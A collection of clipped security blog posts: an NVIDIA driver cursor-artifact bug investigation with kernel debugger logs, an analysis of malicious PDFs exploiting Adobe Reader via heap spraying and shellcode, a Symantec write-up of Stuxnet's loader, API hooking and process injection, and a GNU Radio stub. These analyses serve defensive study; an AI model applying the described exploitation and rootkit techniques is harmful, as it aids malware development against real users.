While the latter type of issues is usually of most interest to security
professionals and 0-day brokers \(not all developers, though \) and thus the
primary subject of this blog, this post is about something else – the
investigation of a non-security \(and hardly functional\) bug I originally
suspected _win32k.sys_ for, but eventually discovered it was a problem in the
NVIDIA graphics card device drivers**.**

<img src='img/Temp2_1422.png' alt='My frequently used window order, with vim
present in the background.' />

Figure 1. My typical work window order, with vim present in the
background**.**

To give you some background, I am a passionate user of vim for Windows \(gvim,
specifically\)**.** When working with code, my usual set up for one of the
monitors is a black-themed vim window set for full-screen, sometimes with
other smaller windows on top when coding happens to be preempted with some
other tasks**.** The configuration is illustrated in Figure 1 in a slightly
smaller scale**.** A few weeks ago, I noticed that moving the mouse cursor
from the vim window over the border of the foreground window \(_Process
Explorer_ in the example\) and inside it, the cursor would be occassionally
rendered with colorful artifacts while changing the shape**.** Interestingly,
these artifacts would only show up for a fraction of second and only during
one in a hundred \(loose estimate\) hovers from vim to another window**.** Due
to the fact that the condition was so rare, difficult to reproduce manually
and hardly noticeable even when it occured, I simply ignored it at the time,
swamped with work more important than some random pixels rendered for a few
milliseconds once or twice a day**.**

Once I eventually found some spare time last week, I decided to thoroughly
investigate the issue and find out the root cause of this weird behavior**.**
I was primarily motivated by the fact that colorful artifacts appearing on the
display could indicate unintended memory being rendered by the system, with
the potential of pixels representing uninitialized kernel memory \(thus making
it a peculiar type of information disclosure vulnerability\)**.** Both me  and
Gynvael  have found similar issues in the handling of image file formats by
popular web browsers in the past, so the perspective of disclosing _random_
kernel bytes seemed tempting and not too far off**.** Furthermore, I knew it
was a software problem rather than something specific to one hardware
configuration, as I accidentally encountered the bug on three different
Windows 7 and 8 machines I use for my daily work**.**

Following a brief analysis, it turned out I was not able to reproduce the
issue using any background window other than vim**.** While I started
considering if this could be a bug in vim itself, I tested several more
windows \(moving the mouse manually for a minute or two\) and finally found
that the Notepad worked equally well in the role of a background**.** Not a
vim bug, hurray\!

As both windows share the same cursor shape while in edit mode – the I-beam ,
I concluded the bug must have been specific to switching from this specific
shape to some other one**.** Precisely, while hovering the mouse over two
windows and a boundary, the cursor switches from I-beam \(<img
src='img/Temp2_1409.png' width='10' height='21' />\) to a horizontal resize
\(<img src='img/Temp2_1421.png' width='29' height='14' />\) and later to a
normal arrow \(<img src='img/Temp2_1417.png' width='20' height='23' />\)**.**
Relying on the assumption that the bug is a race condition \(or least timing
related, as the problem only manifested while performing rapid mouse
movements\), I wrote the following proof of concept code to reproduce the
problem in a more reliable manner \(full source code here \):

**?**

| `LRESULT` `CALLBACK WndProc(``HWND` `hwnd, ``UINT` `msg, ``WPARAM` `wparam,
``LPARAM` `lparam) {``CONST ``UINT` `kTimerId = 1337;``CONST ``UINT`
`kIterations = 100;``static` `HCURSOR` `cursor[3];``switch``(msg) {``case`
`WM_CREATE:``// Load cursors**.**``cursor[0] = LoadCursor(NULL,
IDC_IBEAM);``cursor[1] = LoadCursor(NULL, IDC_SIZEWE);``cursor[2] =
LoadCursor(NULL, IDC_ARROW);``// Set up initial timer**.**``SetTimer(hwnd,
kTimerId, 1, NULL);``break``;``case` `WM_TIMER:``// Rapidly change
cursors**.**``for` `(``UINT` `i = 0; i < kIterations; i++)
{``SetCursor(cursor[0]);``SetCursor(cursor[1]);``SetCursor(cursor[2]);``}``//
Re-set timer**.**``SetTimer(hwnd, kTimerId, 1, NULL);``break``;``[..**.**]`  
---|---  
With the code, I was able to observe the artifacts rendered on my monitor with
a high rate per second, which also ensured me the whole thing was not about a
problem with my eyes, thankfully**.** The result of running the test
executable on either of my development machines was as shown below:

As the error condition was clearly triggered by one of the _SetCursor_ calls,
the function made a great start for an entry point of the actual assembly-
level analysis**.** Sadly, I was not able to reproduce the problem in any of
the virtual machines I had in handy, and analyzing obscure parts of the
Windows kernel without the ability to attach a remote debugger and poke with
the execution flow doesn’t really make much sense**.** After reviewing the
available options for setting up remote kernel debugging for one of my
physical machines \(see “Setting Up Kernel-Mode Debugging Manually” \), I
figured that I didn’t have one of the supported ethernet cards, neither had I
any of the USB 2**.** 0 / 3**.** 0 debug cables, or two machines with a serial
port \(which is a pain to use due to limited bandwidth, anyway\)**.** The only
option left was a 1394 \(FireWire\) cable, which fortunately didn’t have any
special requirements listed by Microsoft**.** Luckily, I turned out to have
two laptops with 4-pin 1394 adaptors and was able to grab one of the last 4-4
pin cables in the nearby Media Markt, completing my debug setup**.** Somewhat
surprisingly, everything worked right away and like a charm – the debugging
session was damnably fast and responsive**.** I highly recommend trying
physical remote Windows kernel debugging out, as it is really a whole new
experience after spending years on interacting with virtual machines**.**

As many of the Windows USER subsystem functions, _user32**\!** SetCursor_ is
really only a wrapper to the _win32k**\!** NtUserSetCursor_ system call, so we
start off by jumping straight into kernel-mode**.** If we follow the code
execution closely, we end up stepping into the _win32k**\!** zzzSetCursor_
function:

<img src='img/Temp2_1415.png' />

Figure 2**.** A call to win32k\!zzzSetCursor.

The routine is responsible for updating the global _win32k**\!** gpqCursor_
variable with a pointer to the provided PCURSOR**.** As the cursor is rendered
in a reactive manner \(e.g**.** when its shape or coordinates change\), it
needs to be re-drawn in case we are its current owners, meaning it is within
the boundaries of one of our windows**.** This is achieved by a call into
_win32k**\!** zzzUpdateCursorImage_, which calls _win32k**\!** GreSetPointer_,
which calls _win32k**\!** vSetPointer_:

<img src='img/Temp2_1414.png' />

Figure 3**.** A call to win32k**\!** zzzUpdateCursorImage.

<img src='img/Temp2_1413.png' />

Figure 4**.** A call to win32k\!GreSetPointer**.**

<img src='img/Temp2_1420.png' />

Figure 5**.** A call to win32k**\!** vSetPointer.

Now, this is where things start to get interesting**.** If you run the
previous proof of concept on the target machine and break in with a remote
debugger while the system is in a “bad rendering streak” \(e**.** g. when for
each _SetCursor_ call, it renders the wrong shape\), you should be able to
investigate when the data passed down to each next function becomes inadequate
to the actual cursor shape**.** The _win32k\!vSetPointer_ itself function
invokes a previously registered **DrvSetPointerShape callback** :

**?**

| `ULONG` `DrvSetPointerShape(``_In_ SURFOBJ *pso,``_In_ SURFOBJ
*psoMask,``_In_ SURFOBJ *psoColor,``_In_ XLATEOBJ *pxlo,``_In_ ``LONG`
`xHot,``_In_ ``LONG` `yHot,``_In_ ``LONG` `x,``_In_ ``LONG` `y,``_In_ RECTL
*prcl,``_In_ FLONG fl``);`  
---|---  
If we set a breakpoint on the callback invocation, we can examine the callback
parameters with special emphasis on _psoMask_ and _psoColor_ , which contain
the shape of the cursor:

**?**

| `0: kd> ba e 1 win32k**!** vSetPointer+0x497``0: kd> g``Breakpoint 3 hit``win32k**!** vSetPointer+0x497:``80b0116b ff55b8 call dword ptr [ebp-48h]``0: kd> ln poi(ebp-48)``(99eb0e88) cdd**!** DrvSetPointerShape | (99eb0ebc) cdd!bSetHardwarePointerShape``Exact matches:``cdd**!** DrvSetPointerShape ()``0: kd> dd esp esp+2c``a1e13ba8 80eb2d98 00000000 a1c66010 00000000``a1e13bb8 00000000 00000000 0000015b 0000010f``a1e13bc8 a1e13c84 00000011 80e6d740 84026348``0: kd> dd poi(esp+8)``a1c66010 00000000 2305076d 00000000 00000000``a1c66020 00000020 00000020 00001000 a1c66174``a1c66030 a1c66174 00000080 00000c3e 00000006``a1c66040 00010000 00000000 00000000 00000000``a1c66050 994db908 00000000 00000000 00000000``a1c66060 00000000 00000000 00000000 00000000``a1c66070 00000000 00000000 00000000 00000000``a1c66080 00000000 00000000 a1c66088 a1c66088``0: kd> .writemem E:\temp\cursor.raw poi(poi(esp+8)+1c) L**?** 1000``Writing 1000 bytes..`  
---|---  
The above command log provides us with a number of important information**.**
Firstly, we can see that the callback is handled by the default CDD.DLL file
\(_Canonical Display Driver_\), so we are still dealing with a Windows
component at this stage**.** Furthermore, we can see that the _psoMask_
parameter is NULL, meaning that _“the pointer is transparent”_**.** On the
other hand, _psoColor_ points to a valid SURFOBJ structure **.** The important
part is that the cursor has 32×32 dimensions \(offsets 0×10 and 0×14 in the
memory blob\) and is stored in the BMF\_32BPP format \(offset 0x2c, id=6\),
thus indicating that the bitmap consumes 0×20 \* 0×20 \* 4 = 0×1000 bytes**.**
In order to verify that no artifacts are found in the bitmap at this stage, we
dump it using the last command**.** The obtained image is as follows:

<img src='img/Temp2_1416.png' width='32' height='32' />

Apparently, no problems thus far**.** As a side note, when the I-beam pointer
is set, the DrvSetPointerShape callback is called with _psoMask_ , but without
_psoColor_ set to a valid pointer:

**?**

| `0: kd> dd esp esp+2c``a1e13ba8 80eb2d98 9951db10 00000000
00000000``a1e13bb8 00000008 00000009 0000015b 0000010f``a1e13bc8 a1e13c84
00000001 80e6d740 84026348`  
---|---  
Anyway, given that the arrow cursor bitmap is valid at this point \(but it
still renders incorrectly on the display\), we can assume that the bug must be
further down the call chain**.** If you delve into CDD.DLL, you will find out
that there are two relevant, nested function calls: from _DrvSetPointerShape_
to _SetPointerShapeInternal_ and then into _bSetHardwarePointerShape_**.** The
last of these functions clearly does some kind of processing against the
bitmap \(Hexrays output follows\):

**?**

| `if` `( a3 )``{``if` `( a1 )``{``if` `( **!**(*(a2 + 72) & 4) ||
!bCopyColorPointer(a3, a2, a1, a6, v24, v25, v26) )``return` `0;``*v9 |=
4u;``}``else``{``if` `( **!**(*(a2 + 72) & 2) || !bCopyColorPointer(a3, a2, 0,
a6, v24, v25, v26) )``return` `0;``*v9 |= 2u;``}``}``else``{``if` `(
**!**(*(a2 + 72) & 1) || !bCopyMonoPointer(a2, a1, v24) )``return` `0;``*v9 |=
1u;``}`  
---|---  
followed by the invocation of another callback:

<img src='img/Temp2_1419.png' />

Figure 6**.** A call to dxgkrnl\!DxgkCddSetPointerShape.

This time, the callback turns out to be _dxgkrnl**\!**
DxgkCddSetPointerShape_, a function residing in the “DirectX Graphics Kernel”
module, also part of the default Windows installation**.** If we load
DXGKRNL.SYS with symbols into IDA, it will hint that its third parameter is a
pointer to the DXGKARG\_SETPOINTERSHAPE structure , which turns out to be well
documented by Microsoft**.** Thanks to the information, we can once again
extract the raw bitmap from the parameter and verify that it is correct:

**?**

| `0: kd> ba e 1 cdd**!** bSetHardwarePointerShape+0x124``0: kd> g``Breakpoint 5 hit``cdd**!** bSetHardwarePointerShape+0x124:``99eb0fe0 ff5140 call dword ptr [ecx+40h]``0: kd> ln poi(ecx+40)``(8e2b0ebf) dxgkrnl**!** DxgkCddSetPointerShape | (8e2b1165) dxgkrnl!ADAPTER_DISPLAY::DdiSetPointerShape``Exact matches:``dxgkrnl**!** DxgkCddSetPointerShape (void)``0: kd> dd esp esp+8``a1e13af8 8401a008 a1e13b2c 80e723e8``0: kd> .writemem E:\temp\cursor.raw poi(poi(esp+8)+14) L**?** 1000``Writing 1000 bytes..`  
---|---  
Once again, we end up with the following cursor:

<img src='img/Temp2_1416.png' width='32' height='32' />

which would again suggest that the problem resides even deeper down in code
interacting with the graphics card**.** The _DxgkCddSetPointerShape_ routine
further passes the execution to _ADAPTER\_DISPLAY::DdiSetPointerShape_ which
then invokes one, last callback, in my case registered by the NVLDDMKM.SYS
module \(“ _NVIDIA Windows Kernel Mode Driver_ “\)**.** The cursor bitmap is
still valid \(WinDbg output ommited\), which strongly indicates that the bug
is indeed in the graphics card device driver**.** For my version of the driver
\(9.18.13**.** 2018, md5=975026ee6af72cd0954aecddad43f8ef\), the rest of the
callstack is as follows: _nvlddmkm+0x74b9d0_\(top-level callback\) calls
_nvlddmkm+0x6dd784_ , which calls _nvlddmkm+0x75a86_ , which calls
_nvlddmkm+0x7404c_**.** Finally, the last function contains the following
_memcpy_ call, which moves the bitmap data straight into a memory-mapped video
buffer:

<img src='img/Temp2_1418.png' />

Figure 7**.** memcpy\(\) call to memory-mapped VRAM region in NVLDDMKM.SYS
used for loading color cursors**.**

More precisely, the above call is responsible for moving a color-enabled
32-bpp bitmap into one of the frame buffers**.** There is a similar memory
invocation for monochrome bitmaps in the _nvlddmkm+0x73cd0_ function:

<img src='img/Temp2_1408.png' />

Figure 8**.** memcpy\(\) call to memory-mapped VRAM region in NVLDDMKM.SYS
used for loading monochrome cursors**.**

If we set a breakpoint and examine the _dst_ parameter of respective _memcpy_
calls, we will notice that during normal \(correct\) mode of operation, there
are in fact two distinct frame buffers, each 16384 \(0×4000\) bytes long, used
by the driver in an alternating manner:

**?**

| `0: kd> **?** poi(esp); g``Evaluate expression: -1817100288 =
93b14000``[..**.**]``0: kd> **?** poi(esp); g``Evaluate expression:
-1817116672 = 93b10000``[..**.**]``0: kd> **?** poi(esp); g``Evaluate
expression: -1817100288 = 93b14000``[..**.**]``0: kd> **?** poi(esp);
g``Evaluate expression: -1817116672 = 93b10000``[..**.**]``0: kd> **?**
poi(esp); g``Evaluate expression: -1817100288 = 93b14000``[..**.**]``0: kd>
**?** poi(esp); g``Evaluate expression: -1817116672 = 93b10000``[..**.**]`  
---|---  
If you take a closer look at the contents of the _src_ parameter \(dump it to
file and try to render as a 64×64 bitmap\), it becomes visible that the format
of the color cursors’ bitmap hasn’t changed much and is still a line-by-line
32-bpp buffer of pixels, only difference being that it has been extended from
32×32 to 64×64 dimensions**.** However, the same technique doesn’t seem to
work with monochrome bitmaps: if we try to render the I-beam cursor
representation as a 64×64 32-bitmap, we’ll end up with the following image:

<img src='img/Temp2_1412.png' width='64' height='64' />

That’s not really how the cursor looks on the screen – more like how it looks
in the broken version as a part of the artifacts… something to keep in
mind**.** After playing with different configurations for a while, it turns
out that the bitmap renders correctly when interpreted as a 16-bpp image with
128×64 dimensions:

<img src='img/Temp2_1423.png' width='128' height='64' />

The 16-bit structure of each pixel is as follows: \[0\]\[5-bit R\]\[5-bit
G\]\[5-bit B\], which means that the value of 0×0000 denotes black
\(transparent\) and 0x7fff denotes white, which appears compatible with what
we can see in the memory dump corresponding to the first few lines of the
bitmap:

**?**

| `93b14000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000``93b1401e 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000``93b1403c 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000``93b1405a 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000``93b14078 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000``93b14096 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000``93b140b4 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000``93b140d2 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000``93b140f0 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000``93b1410e 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000``93b1412c 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000``93b1414a 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000``93b14168 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000``93b14186
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000``93b141a4 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000``93b141c2 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000``93b141e0 0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000``93b141fe 0000 0000 0000 0000 0000 0000
0000 0000 7fff 7fff 7fff 0000 7fff 7fff 7fff``93b1421c 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000`  
---|---  
At any point in time, we can describe the currently displayed cursor with the
following tuple: \(current frame buffer \#, frame buffer bitmap, display
mode\)**.** During normal mode of operation, consecutive cursor shape changes
are performed in the following manner:

<img src='img/Temp2_1410.png' />

Figure 9**.** Frame buffer order and configuration during consecutive cursor
shape switches**.**

Shapes with a solid line border denote the frame buffer which is currently
mapped to display**.** The colorful shapes rendered in 32-bpp mode are marked
with the orange box color, while monochrome bitmaps rendered in 16-bpp mode
are gray in the above figure**.** In the correct mode of execution, the
display-mapped frame buffers alternate, thus rendering each cursor in the
right time and rendering mode**.** However, when we start spamming the driver
with cursor change requests, it becomes confused as to which frame buffer
should be mapped to the screen, thus leading to the following situation
\(confirmed experimentally, I’m unable to prove this with WinDbg logs, as
showing the problem requires access to the target machine’s display\):

<img src='img/Temp2_1411.png' />

Figure 10**.** Broken frame buffer order and configuration during consecutive
cursor shape switches**.**

As shown in Figure 10, the device driver still copies the cursor shape into
the correct \(alternating\) frame buffers, and it still uses the adequate
rendering mode during each switch**.** What goes wrong, however, is that the
driver fails to swap the “active” buffers in each iteration, and instead only
does it for every second request**.** The specific reason of this phenomenon
has not been established – lacking symbols, documentation or other debugging
information for the graphics card driver makes it rather inconvenient to
continue the analysis**.** As the problem only occurs for rapid cursor
changes, it is clear that the issue is timing related \(possibly a race
condition\); I suppose it might have to do with the v-sync mechanism, but
that’s just a guess**.** One way or another, the bug causes the graphics card
to sometimes render the wrong bitmap using the correct \(for the iteration\)
mode; due to the fact that bitmaps present in the two frame buffers can use
different data formats \(16-bpp vs 32-bpp\), the mismatch can thus lead to
artifacts such as those presented in the video at top of the post**.**
Specifically, depending on the _rendering_ _offset_ at which the frame buffer-
switching mechanism starts to fail, it is possible to observe the following
invalid shapes \(on the example of the proof of concept code above\):

Looks familiar, right**?** The rendering mode mismatch also perfectly explains
why the bug could only be reproduced using the following chain of cursors:
monochrome → any → colorful; otherwise, the driver would still render the
wrong shapes at times, but you wouldn’t be able to notice it anyway**.** That
was quite a journey from random mouse blinks over the vim window to the NVIDIA
graphics card driver internals**.** :\)

As far as I’m concerned, this issue doesn’t have any security impact, as the
cursor frame buffers would never contain data or bitmaps other then the cursor
shape itself, which is by no means secret information or something you would
like to disclose**.** Furthermore, even if the buffers were shared to store
any kind of interesting data while not mapped to the display, the bug would
still require physical access to the machine and a high-quality camera or
ability to plug into one of the video sockets to be able to capture the
misrendered data**.** However, a bug in the cursor-changing mechanism might be
a good indicator that other video services implemented by the NVIDIA drivers
might be suspectible to timing related problems, and possibly more severe ones
than one discussed here**.**

## Other device drivers****

For completness, I decided to briefly test some other drivers I had in
handy**.** Both the _BasicDisplay.sys_ \(version 6**.** 2**.** 9200.16384\)
driver found in the default installation of Windows 8 32-bit and the latest
drivers for the Intel HD Graphics 4000 card are not affected and handle rapid
cursor switches correctly**.** Interestingly though, some AMD drivers seem to
suffer from a similar problem \(artifacts while rendering rapidly changing
cursor\), but of a slightly different nature**.** Thanks to Gynvael  for
running the test and recording results:

I haven’t investigated the root cause of that one though, so feel free to
check it out**.** I hope you enjoyed the post, feel free to leave comments,
and take care**\!**

****

# Randomness » Blog Archive » PDF – Vulnerabilities, Exploits and Malwares

**Created:**| _11/25/2010 6:20:03 AM_  
---|---  
**Updated:**| _11/25/2010 6:20:22 AM_  
**Author:**| __  
**Tags:**| _security tools Malware-analysis programming_  
  

**\[This post has been screwed due to Anti viruses claiming plain text as live
exploits. I omitted most of the stuffs I planned to post<img
src='img/Temp2_6738.gif' alt=':|' /> \]**

Many people don’t consider PDF files as a possible threat and oh, well I agree
to them\(\!\). It is not the PDF files but the rendering softwares we have to
be afraid of. If you think I am referring to those Adobe Reader 0-days popping
up periodically, hell yeah, you are RIGHT\!. We are going to talk about PDF
files, few Adobe Reader vulnerabilities, exploits and malwares that comes
along with it <img src='img/Temp2_6744.gif' alt=';)' />

You can read about PDF in wiki page. PDF files are binary files with proper
formatting and looks like a collection of objects. You can open a PDF file in
a text editor or hex editor to view it’s object structure.

<img src='img/Temp2_6742.gif' width='838' height='439' alt='pdf file' />

As you can see PDF files start with a magic header %PDF or %%PDF followed by
the spec version number. From next line onwards you can see a pattern
emerging, like \[obj\]\[data\]\[endobj\]. Well, this is the collection of
object thing I said earlier. Each object is identified by an ID and a version
number. 41 0 obj represents object 41 version 0. You can look into PDF specs
for better understanding of the file architecture. You don’t have to
understand every details of the spec, but you can specifically look into
streams, encodings, java script implementations, acro forms etc… Before going
further, I would like to explain a little more about streams. Streams are used
to store data\(images, text, java scripts etc…\) and to make it efficient PDF
allows us to use compression and encoding techniques like Flate/LZW/RLE etc.
This creates sort of problem for us, we can’t just use text/hex editor for
understanding the true content of PDF\!. As a programmer I can’t ignore this
challenge and I made a tool\(PDF Analyzer\) to solve this issue. I will use
PDF Analyzer throughout this post but you won’t be able to get it as it is
still in private build\(I will release it…eventually <img
src='img/Temp2_6744.gif' alt=';)' /> \). For now you guys have other options,
both commercial and freeware tools are available. I will post some links here.

PDF Dissector by zynamics – commercial

Origami by Sogeti ESEC Labs – freeware

PDF Stream Dumper by Dave – freeware

Various python PDF parsers from Didier Stevens and inREVERSE guys – freeware
\(search\!\)

PDF Analyzer is made in C\# with only 3 external libraries, zlib\(I should
have used GZipStream with 2 byte header hack\), BeaEngine\(Thanks BeatriX\)
and JSBeautifier\(I ported 95% of code from js to C\#\). I spent around 2
weeks of free time on it. It may not be the fastest PDF parser, but it can
handle every ill formatted PDF I have in my repository <img
src='img/Temp2_6744.gif' alt=';)' /> .

<img src='img/Temp2_6737.gif' width='755' height='520' alt='pdf analyzer'
/>Adobe reader’s top vulnerabilities come from Adobe specific javascript APIs.
This gives us a chance to disable javascript and protect us from any of those
javascript based exploits. Disabling javascript is crucial but it doesn’t fix
vulnerabilities from other parts of Adobe Reader such as embedded image files
and flash files.

Now we will look into some of the malware samples which exploits these
vulnerabilities. You can find malware sample from many security blogs and I
must thank two of my friends who sent a big archive of malware PDFs for
analysis and testing <img src='img/Temp2_6741.gif' alt=':)' /> .

<img src='img/Temp2_6735.gif' width='752' height='519' alt='pdf analyzer js'
/>This particular sample splits javascript into three streams and concatenates
them using <</Names\[\(1\)6 0 R \(2\)7 0 R \(3\)8 0 R\]>> which will
eventually refer to three objects marked in red. After beautification, it
seems it is exploiting one vulnerability existed in Adobe Reader namely
this.media.newPlayer\(null\).

<img src='img/Temp2_6739.gif' width='1046' height='721' alt='media newPlayer'
/>

It is essentially spraying heap with NOP sled and shellcode and calling the
vulnerable function. The shellcode present here is a dropper/downloader, you
can dump it to a file and use IDA to disassemble it.

Another PDF file which exploits util.printf is given below.  

<img src='img/Temp2_6734.gif' width='1039' height='353' alt='util printf' />

Again you can dump shellcode and disassemble with IDA. Another option is to
use PDF Analyzers unescape functionality to directly disassemble the shell
code.

<img src='img/Temp2_6740.gif' width='990' height='535' alt='disassembly'
/>Disassembly starts with pretty straight forward steps to find base address
via delta calculation\(call – pop – sub\). Then it fetches kernel32 base from
PEB\(fs\[0x30\]\)->Ldr.InInitOrder\[0\].base\_address. This will be used to
eventually load other modules and APIs.

Malware writers use multiple techniques to protect their payload. Techniques
involves obfuscation, multiple and multi-level usage of encoding/compression
schemes.

<img src='img/Temp2_6743.gif' width='755' height='520' alt='multiple
encodings' />If any of you guys have samples that uses multi-level encoding,
please send them to me <img src='img/Temp2_6744.gif' alt=';)' /> , I would
like to test those with PDF Analyzer.

I will conclude the exploit samples by posting the latest exploit for the
vulnerability printSeps. This code is retrieved from the PDF posted in full
disclosure list.  

<img src='img/Temp2_6736.gif' width='1039' height='313' alt='printSeps' />

Evil actions of PDF malwares varies from regular password stealer to rootkits.
Once you have attained arbitrary code execution, rest will be just imagination
of malware writer. As malware writers are mainly targeting Adobe Reader, try
to shift to other PDF rendering software or at least update to latest version.
There are free PDF readers like Sumatra or GhostScript, try those out and
always be cautious when opening a PDF file.

# W32.Stuxnet Installation Details | Symantec Connect
**Created:**| _7/21/2010 7:03:42 PM_  
---|---  
**Updated:**| _7/21/2010 7:03:57 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security Exploit reversing analysis vulnerability
windows environment_  
  

# W32.Stuxnet Installation Details

<img src='img/Temp2_9030.png' width='100' height='100' />

Liam O Murchu

July 20th, 2010

**Tags:**Endpoint Protection \(AntiVirus\), Security, Security Response

FacebookTwitter

I’d like to address the control flow used by W32.Stuxnet. The threat has been
gaining some attention due to the fact that it uses a currently unpatched
Microsoft vulnerability to spread through removable drives but there are other
interesting and novel aspects of the threat that I would like to highlight
here.

The following files are present on infected removable drives:

  * Copy of Shortcut to.lnk
  * Copy of Copy of Shortcut to.lnk
  * Copy of Copy of Copy of Shortcut to.lnk
  * Copy of Copy of Copy of Copy of Shortcut to.lnk

These files exploit the currently unpatched Microsoft Windows Shortcut 'LNK'
Files Automatic File Execution Vulnerability \(BID 41732\).

Infected removable drives also contain the following files:

  * ~WTR4141.tmp \(~25Kb\)
  * ~WTR4132.tmp \(~500Kb\)

The above files are .dll files and the file names are hardcoded.

Once the threat is active on a machine the rootkit portion of the threat will
hide these files.

When a removable drive is attached to a system and browsed with an application
that can display icons, such as Windows Explorer, the .lnk files will load the
first .dll file \(~WTR4141.tmp\) into memory and pass control to it. This is
not possible under normal conditions but using the aforementioned
vulnerability the .lnk files are able to achieve this. This first .dll file is
small – approximately 25Kb – and has limited functionality. In fact it's main
purpose is to load the second larger .dll file \(~WTR4132.tmp at approximately
500kb in size\) into memory and pass control to that .dll file.

Let's assume that an infected removable drive has been attached to a clean
machine. In that case the files on the removable drive will not be hidden yet
as the rootkit part of the threat has yet to be installed on the clean
machine. It is therefore important for the threat to hide the files on the
removable drive as early in the infection process as possible. This is the
other function that the first, smaller .dll file takes care of \(in addition
to loading the larger .dll file\).

To achieve the objective of hiding the threat related files the smaller .dll
file hooks the following APIs from kernel32.dll and Ntdll.dll:  
From Kernel32.dll

  * FindFirstFileW
  * FindNextFileW
  * FindFirstFileExW

From Ntdll.dll

  * NtQueryDirectoryFile
  * ZwQueryDirectoryFile

It replaces the original code for these functions with code that checks for
files with the following properties:

  * File names ending with ".lnk"
  * File names beginning with "~WTR" and ending in ".tmp" \(this is why the file names on the removable drive cannot change significantly\)

If a request is made to list a file with the above properties, the response
from these APIs is altered to state that the file does not exist, thereby
hiding all files with those properties.

After the kernel32.dll APIs are hooked the first .dll file loads the larger
dll file. It does not do this in the "normal" manner however. Normally to load
a .dll file a program calls the "LoadLibrary" API with the file name of the
.dll file to be loaded into memory. W32.Stuxnet uses a different approach, not
just in the first .dll file but in several different parts of the code.

The method used is to hook certain Ntdll.dll functions, then call LoadLibrary
with a specially crafted file name. The file requested to be loaded does not
exist on disk, therefore normally LoadLibrary would fail. However, W32.Stuxnet
has hooked Ntdll.dll to monitor for requests to load specially crafted file
names. If a specially crafted file name is encountered, the hooked ntdll.dll
functions know to load a .dll file from another location instead; a location
specified by W32.Stuxnet and that location is generally an area in memory
where a .dll file has been decrypted and stored by the threat previously.

The functions hooked for this purpose in Ntdll.dll are:  
ZwMapViewOfSeciton

  * ZwCreateSection
  * ZwOpenFile
  * ZwCloseFile
  * ZwQueryAttributesFile
  * ZwQuerySection

Once a .dll file has been loaded via the method shown above, GetProcAddress is
used to find the address of a specific export from the .dll file and that
export is called, handing control to that new .dll file.<img
src='img/Temp2_9031.png' />

Everything we have seen so far has just been the loading part of the threat
and the installation code with the true functionality of the threat still to
come.

After the first .dll file has hidden the threat related files it hands control
to the second, larger .dll file. The second .dll file ~WTR4132.tmp is actually
just a wrapper for a third .dll file. ~WTR4132.tmp contains an encrypted .dll
file in its data section as shown below. In the first diagram the small blue
section on the left indicates code and the green area on the right indicates
data \(in this case an encrypted .dll file\). As you can see the majority of
the larger .dll file is in fact data not code.<img src='img/Temp2_9032.png' />

The screen shot below shows the first .dll file for comparison purposes. As
you can see the first .dll file consists mostly of code \(again shown in
blue\) and very little non-code data sections.<img src='img/Temp2_9029.png' />

~WTR4132.tmp contains a small wrapper code section \(the small blue section
shown in the first image above\), which is actually very similar to the code
in the first .dll file. There is lots of duplicate code here. An example of
the duplicate code is shown below, showing both .dll files using the exact
same code to resolve API addresses in the exact same order.<img
src='img/Temp2_9028.png' />

This wrapper code in the larger .dll file is used to decrypt a UPX packed .dll
file from inside itself, load that .dll file into memory \(using the same
method outlined above\) and to pass control to that .dll file. It is that
decrypted UPX packed .dll file that contains the payload functionality of the
threat.<img src='img/Temp2_9033.png' />

The UPX packed file has 21 different exported functions as show below. <img
src='img/Temp2_9034.png' />

Each of these exports contains code to perform a different part of the
threat’s functionality. For example there are exports to:

  * Decrypt the configuration data used by the threat
  * Drop two .sys files and install them as a kernel level rootkit
  * Access files created by the Siemens Step 7 software package
  * Update itself
  * Drop more .dll and .dat files
  * Infect removable drives with custom .lnk files
  * Inject into the lsass.exe process and execute custom code
  * Inject into the iexplore.exe process
  * Check if certain antivirus applications are running
  * Scan the network for servers
  * Remove itself
  * Communicate with the C&C server

Many of these functions are not simply executed but instead code is first
injected into some other process on the system and then the functions are
called from within the injected process. For example, the first action that
the UPX packed .dll file takes is to create a new legitimate lsass.exe
process, overwrite the process’ code with its own loader code. The loader code
will load the UPX packed file into the address space of lsass.exe and then
execute one of the functions outlined above.

As you can see from above many of the threat’s functions are related to Scada
software products. From our analysis we can see that this threat is
specifically targeting systems with Scada software installed. The threat
performs many DB queries on the DB used by the Siemens Step 7 software and
interacts with the .dll files belonging to that product. It tries to extract
specific data from the database and take actions accordingly. For example, it
tries to access files with the following characteristics, created by the Step
7 software:

  * GracS\cc\_tag.sav
  * GracS\cc\_alg.sav
  * GracS\db\_log.sav
  * GracS\cc\_tlg7.sav
  * \*.S7P
  * \*.MCP
  * \*.LDF

We are continuing our analysis of the threat and we will be posting another
blog with more information within the next 24 hours. Stay tuned\!

# Josh Knows | CMake GNU Radio Port
**Created:**| _4/7/2011 4:53:44 PM_  
---|---  
**Updated:**| _4/7/2011 4:53:44 PM_  
**Author:**| __  
**Tags:**| _windows Gnuradio port_  
  

# CMake GNU Radio Port

  * Introduction
  * Port goals
